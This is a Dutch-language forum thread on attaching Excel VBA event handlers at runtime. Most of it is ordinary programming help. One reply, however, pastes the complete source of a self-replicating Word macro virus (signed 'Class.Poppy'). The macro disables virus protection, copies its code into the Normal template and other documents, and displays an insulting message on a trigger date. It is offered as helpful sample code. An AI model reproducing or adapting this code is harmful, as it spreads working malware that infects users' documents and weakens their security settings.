[VBA] Excel eventhandler tijdens runtime toewijzen

[Database freak]

Voor een door een user te starten functie (druk op een knop in een werkbalk) moet ik in excel tijdens runtime de event functie Workbook_SheetChange kunnen toevoegen voor dat betreffende werkblad. Als de user niet op de knop drukt moet hij uitblijven. Hem van te voren in programmeren helpt niet want de gebruiker moet in elk nieuw willekeurig geopende excel sheet door een druk op de knop de functie kunnen creeren/inschakkelen.

Ik heb dit geprobeert:

Function WriteBack() As Integer
‘ schrijf celmutatie terug naar de server
End Function

Sub ZetWriteBackAan()
I = InputBox("Zet write-back aan?", "YES", "WriteBack")
If I = "Yes" Then
On Workbook_SheetChange = WriteBack()
ThisWorkbook.Sheets("Blad1").SheetChange = WriteBack()
End If
End Sub


Deze code staat dus in een aparte PRGCODE.xls bestand dat gekoppeld is aan een knop in een commandbar. Als de user excel opent met een nieuw leeg .xls bestand en op deze knop in de commandbar drukt wordt het apart PRGCODE.xls bestand geopend naast de lege spreadsheet. De code in PRGCODE.xls moet er voor zorgen dat voor de huidige geselecteerde sheet in de lege .xls bestand aan het event SheetChange een functie/sub wordt gekoppeld. Mijn twee boven geprobeerde regels,
On Workbook_SheetChange = WriteBack()
ThisWorkbook.Sheets("Blad1").SheetChange = WriteBack()

geven een foutmelding en doen het niet. Op mdsn en google is ook niet te vinden.

[Daos]

Het volgende stukje code zat in een word-document:

Visual Basic:

Sub AutoOpen()

On Error GoTo out

Options.VirusProtection = False

Options.SaveNormalPrompt = False

Options.ConfirmConversions = False

ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines

nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

If nt > 70 And ad > 0 Then GoTo out

If nt < 70 Then

    Set host = NormalTemplate.VBProject.VBComponents.Item(1)

    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
    
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"

End If

If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)

If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy"

host.codemodule.AddFromFile ("c:\class.sys")

With host.codemodule

    For x = 1 To 4

    .deletelines 1

    Next x

    End With

If nt < 70 Then

    With host.codemodule

    .replaceline 1, "Sub AutoClose()"

    .replaceline 71, "Sub ToolsMacro()"

    End With

End If

With host.codemodule

    For x = 2 To 72 Step 2

    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow & Application.Assistant
    
    Next x

End With

out:

If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Sub ViewVBCode()

End Sub

Hopelijk heb je er wat aan.

[Database freak]

Bedankt ! Na wat geprut en gezoek op MDSN lijkt het nu wel te lukken. Ik moest alleen de ActiveDocument. veranderen in Workbooks(1).;
Workbooks(1).VBProject.VBComponents(1).CodeModule.Lines(1, 20)
Daarnaast moet ik in de Extra->Macro->Beveiliging de Toegang tot Visual basic projecten vertrouwen optie aanzetten. Ik heb nu met
Workbooks(1).VBProject.VBComponents(1).CodeModule.insertlines 1, "... code ...."
Een functie kunnen toevoegen.

Iemand nog een idee of je op de minder omslachtige manier

on Object.change (event) = procedure

tijdens runtime een bestaande procdure kan koppelen aan een event van een object/excel-werkblad?

Met name het eerst door een user in te stellen Extra->Macro->Beveiliging de Toegang tot Visual basic projecten vertrouwen optie aanzetten, kan een bottleneck vormen bij grote uitrol.

[Pink Panther]

Kun je niet gebruik maken van de application events?

Hierdoor is het mogelijk een event te triggeren voor alle workbooks die open zijn waardoor je niet perse toegang hoeft te hebben tot de visual basic projecten door Extra->Macro->Beveiliging de Toegang tot Visual basic projecten vertrouwen optie aan te zetten.

Hiervoor zul je dus wel zelf even een nieuwe class module moeten proggen...

[Daos]

Die ene optie zorgt ervoor dat je niet in de code kan rotzooien. Dit is een hele nuttige beveiliging tegen virussen. Een virus kan zich door deze optie niet meer voortplanten.

Als het gewoon in hetzelfde bestand zou gebeuren dan kon je het zo oplossen:

Visual Basic:

Dim wbActivated As Boolean

Function WriteBack() As Integer
    'schrijf celmutatie terug naar de server
    MsgBox "Writing Back"
End Function

Sub ZetWriteBackAan()
    I = InputBox("Zet write-back aan?", "WriteBack", "YES")
    If UCase(I) = "YES" Then
        wbActivated = True
    Else
        wbActivated = False
    End If
End Sub

Private Sub Workbook_Open()
    wbActivated = False
    ZetWriteBackAan
End Sub

Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
    If wbActivated Then
        WriteBack
    End If
End Sub

Die wbActivated zou je ook uit een cel kunnen halen. Naar cellen mag je wel schrijven.

[ Voor 9% gewijzigd door Daos op 18-01-2005 19:14 ]

[Database freak]

Pink Panther schreef op dinsdag 18 januari 2005 @ 18:56:
Kun je niet gebruik maken van de application events?

Welke is dat dan voor het Change event App_Change?

Hierdoor is het mogelijk een event te triggeren voor alle workbooks die open zijn waardoor je niet perse toegang hoeft te hebben tot de visual basic projecten door Extra->Macro->Beveiliging de Toegang tot Visual basic projecten vertrouwen optie aan te zetten.

Hiervoor zul je dus wel zelf even een nieuwe class module moeten proggen...

Een class module met enkel de WriteBack() functie?

[Database freak]

Daos schreef op dinsdag 18 januari 2005 @ 19:07:
Die ene optie zorgt ervoor dat je niet in de code kan rotzooien. Dit is een hele nuttige beveiliging tegen virussen. Een virus kan zich door deze optie niet meer voortplanten.

dat vermoede ik al na alle virus debacles in ms software via VBA.

Als het gewoon in hetzelfde bestand zou gebeuren dan kon je het zo oplossen:

Visual Basic:

Dim wbActivated As Boolean

Function WriteBack() As Integer
    'schrijf celmutatie terug naar de server
    MsgBox "Writing Back"
End Function

Sub ZetWriteBackAan()
    I = InputBox("Zet write-back aan?", "WriteBack", "YES")
    If UCase(I) = "YES" Then
        wbActivated = True
    Else
        wbActivated = False
    End If
End Sub

Private Sub Workbook_Open()
    wbActivated = False
    ZetWriteBackAan
End Sub

Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
    If wbActivated Then
        WriteBack
    End If
End Sub

Die wbActivated zou je ook uit een cel kunnen halen. Naar cellen mag je wel schrijven.

Probleem is dat je dan toch de Private Sub Workbook_SheetChange in de code van ThisWorkbook moet plaatsen. De programmacode staat in een apart .xls bestand. De user heeft z'n eigen .xls bestand. Door op een knop te drukken start hij de ZetWriteBackAan() functie in het apart (code) .xls bestand. In dit bestand de functie in de ThisWorkbook programmacode neerzetten heeft dus geen zin, want dit heeft geen effect op de events in het .xls bestand van de user. Als er een application_change() event zou zijn zou jou aanpak de oplossing zijn.

[Daos]

Je kan er toch voor zorgen dat er bij een "nieuw" werkblad de code er al in staat. Als mensen dan een nieuw werkblad willen dan moeten ze jouw knopje gebruiken. Achter knopje zit dan zoiets:

Visual Basic:

I = InputBox("Zet write-back aan?", "WriteBack", "YES")
If UCase(I) = "YES" Then
    Application.Workbooks.Add ("metCode.xlt")
Else
    Application.Workbooks.Add
End If

[ Voor 14% gewijzigd door Daos op 19-01-2005 17:31 ]

[Daos]

Je kan ook dit doen:

In "prog.xls":

Visual Basic:

Sub Nieuw()
    template = "metCode.xlt"
    Application.Workbooks.Add (template) 
End Sub

Sub ZetWriteBackAan()
    I = InputBox("Zet write-back aan?", "WriteBack", "YES")
    If UCase(I) = "YES" Then
        ActiveWorkbook.SetWB (True)
    Else
        ActiveWorkbook.SetWB (False)
    End If
End Sub

In "metCode.xlt (bij ThisWorkBook)":

Visual Basic:

Dim wbActivated As Boolean

Function WriteBack() As Integer
    'schrijf celmutatie terug naar de server
    MsgBox "Writing Back"
End Function

Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
    If wbActivated Then
        WriteBack
    End If
End Sub

Public Sub SetWB(wb As Boolean)
    wbActivated = wb
End Sub

[ Voor 25% gewijzigd door Daos op 19-01-2005 17:35 ]